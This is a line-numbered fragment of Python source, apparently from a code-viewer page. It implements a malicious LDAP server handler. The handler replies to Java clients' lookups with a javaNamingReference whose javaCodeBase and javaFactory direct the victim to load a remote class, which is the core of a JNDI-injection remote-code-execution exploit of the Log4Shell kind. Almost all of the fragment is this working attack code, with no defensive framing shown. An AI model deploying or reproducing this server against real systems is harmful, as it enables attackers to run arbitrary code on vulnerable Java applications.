(self)
| 150 | super().__init__(*args, **kwargs) |
| 151 | |
| 152 | def handle(self): |
| 153 | ldap_logger.info(f"Query from {self.request.getpeername()}") |
| 154 | |
| 155 | handshake = self.request.recv(8096) |
| 156 | |
| 157 | self.request.sendall(b"0\x0c\x02\x01\x01a\x07\n\x01\x00\x04\x00\x04\x00") |
| 158 | |
| 159 | time.sleep(0.5) |
| 160 | |
| 161 | query = self.request.recv(8096) |
| 162 | |
| 163 | if len(query) < 10: |
| 164 | return |
| 165 | |
| 166 | query_name = query[9:9+query[8:][0]].decode() |
| 167 | |
| 168 | response = LDAPResponse(query_name, { |
| 169 | "javaClassName": self.__java_class.name, |
| 170 | "javaCodeBase": self.__path, |
| 171 | "objectClass": "javaNamingReference", |
| 172 | "javaFactory": self.__java_class.name |
| 173 | }) |
| 174 | self.request.sendall(response.serialize()) |
| 175 | |
| 176 | time.sleep(0.5) |
| 177 | |
| 178 | acknowledge = self.request.recv(8096) |
| 179 | |
| 180 | class HTTPHandler(http.server.BaseHTTPRequestHandler): |
| 181 | """ |
nothing calls this directly
no test coverage detected